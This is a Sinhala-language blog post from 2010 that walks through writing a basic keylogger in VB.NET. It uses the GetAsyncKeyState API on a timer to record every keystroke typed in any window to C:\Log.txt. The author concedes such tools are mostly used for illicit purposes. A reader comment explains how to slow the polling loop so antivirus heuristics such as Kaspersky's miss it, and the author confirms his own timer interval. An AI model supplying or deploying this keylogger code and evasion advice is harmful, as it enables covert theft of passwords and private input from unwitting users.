Pages

Friday, October 8, 2010

Capturing Key Stroke

අද ටිකක් විතර Illegal වැඩක් ගැන ලියන්න හිතුනා. Illegal  කිව්වට ඉතින් මේක Illegal නොවන අවස්ථාත් ඕන තරම් තියෙනව. හැබැයි ඉතින් අපේ කට්ටිය මේව පාවිච්චි කරන්නෙ නම් හොර වැඩ කරන්න. කට්ටිය අහල ඇතිනේ Key loggers ගැන. මේව Hardware device එකක් වෙන්නත් පුළුවන් එහෙමත් නැත්නම් Software එකක් වෙන්නත් පුළුවන්. අද ලියන්න හදන්නෙ මේ Key logger software වල පාවිච්චි කරන්න Key stroke එක Capture කර ගන්න හැටි. දැන් සමහරු හිතනව ඇති මම මේ හොර වැඩ කරන්න උගන්වනව කියල. නමුත් මේක හොර වැඩ වලට වගේම හොර නොවන වැඩ වලටත් පාවිච්චි කරන්න පුළුවන්. ඒක ඉතින් පාවිච්චි කරන කෙනා තීරණය කරාවි.

හරි මෙහෙමයි වැඩේ සිද්ධ වෙන්නෙ. අපිට මේකට අවශ්‍ය වෙනව API එකක්. අපි ඒ Function එක Declare කර ගනිමු. මුලින්ම Code Editor එකේ උඩින්ම මෙහෙම ලියා ගන්න.

Imports System.Runtime.InteropServices

දැන් Class definition එක ඇතුලෙ මෙහෙම ලියා ගන්න.
DllImport("User32.dll")> _
Private Shared Function GetAsyncKeyState(ByVal Key As Integer) As Integer
End Function
GetAsyncKeyState කියන එකෙන් වෙන්නේ යම් කිසි අවස්ථාවක මෙහි Parameter එක වශයෙන් දෙන Key එක Press වෙලාද නැද්ද කියල හොයා ගන්න එක. දැන් Form එකට Timer එකක් එකතු කරගන්න.  Timer එකේ Enabled Property එකත් True කර ගන්න. දැන් Class Definition එකට පහලින් මෙන්න මේ Objects ටික Declare කර ගන්න.
Private fs As New FileStream("C:\Log.txt", FileMode.Append)
Private sw As New StreamWriter(fs)
මෙතනදී කරල තියෙන්නෙ FileStream Object එකක් හා StreamWriter Object එකක් සාදා ගැනීමයි. FileStream එකෙහි Path එක විදියට මම C:\Log.txt කියන එක දීල තියනව. FileModeඑක විදියට Append යන්න භාවිතා කරල තියෙනව. ඊට පස්සෙ Timer එකේ Tick Event handler එක ඇතුලෙ පහල එක ලියාගන්න.
For Each x As Integer In [Enum].GetValues(GetType(Keys))
   If GetAsyncKeyState(x) = -32767 Then
      sw.Write([Enum].GetName(GetType(Keys), x))
      sw.Flush()
   End If
Next
මුලින්ම මම For Each Loop එකක් පාවිච්චි කරල තියනව. ඒ වගේම මෙතන Enum කියන Class එකේ GetValues කියන Function එක පාවිච්චි කරල තියනව. මේ Function එකෙන් වෙන්නෙ යම් කිසි enumerator එකක තියෙන Constants වල Values ලබා ගන්න එක. මෙහිදී Values ලබා ගන්න අවශ්‍ය enumerator එක වශයෙන් Keys කියන enumerator එක දීල තියෙනවා. For Each Loop එකෙන් මෙම ලබා ගන්න Values එකින් එක x කියන Variable එකට දාගන්නව. ඊට පස්සෙ මම If Statement එකත් එක්ක GetAsyncKeyState Function එක Call කරල තියෙනව. මෙතනදී වෙන්නෙ x කියන Variable එකේ තියෙන Key එක මෙම අවස්ථාවේ දී Press වෙලා තියෙනවද නැත්ද කියල බලා ගැනීමයි. ඊලඟ Statement එකෙන් වෙන්නෙ අදාල Key එකෙ Press වෙලා තියනවනම් ඊට අදාල Constant Name එක ලබාගෙන එය File Stream එකට ලිවීමයි. දැන් Program එක Run කරල බලන්න. ඔයගොල්ලො මොන Window එකේ මොනව Type කලත් ඒක FileStream එකේ දීපු Path එකේ Save වේවි. මේකෙත් පොඩි පොඩි අඩුපඩු තියනව. පුලුවන්නම් ඒව හදල හොඳ වැඩකට මේක පාවිච්චි කරන්න. එහෙනම් අදට නැවතුනා.

2 comments:

Kanishka Dilshan said...

ඇතැම් ප්‍රති වයිරස මෘදුකාංග වල Heuristic mode එකට GetAsyncKeyState(ByVal Key As Integer) api call එක හසුවෙනවා. loop එකේ පොඩි sleep එකක්(10ms) වගේ එය මග හැරෙනවා. මම Kaspersky තියන PC එකක GetAsyncKeyState call කරල බැලුවා loop interval එක 90ms වලට වඩා වැඩිවෙන්න ඕන Heuristic mode එකට අහු නොවෙන්න.

Ranga said...

@Kanishka Dilshan

මම නම් පාවිච්චි කරන්නෙ Avast. ඒකෙ නම් මෙහෙම ප්‍රශ්නයක් ආවෙ නෑ. මේකෙ Timer එකේ Interval එක Set කරල තියෙන්නෙ 100ms කට.

Post a Comment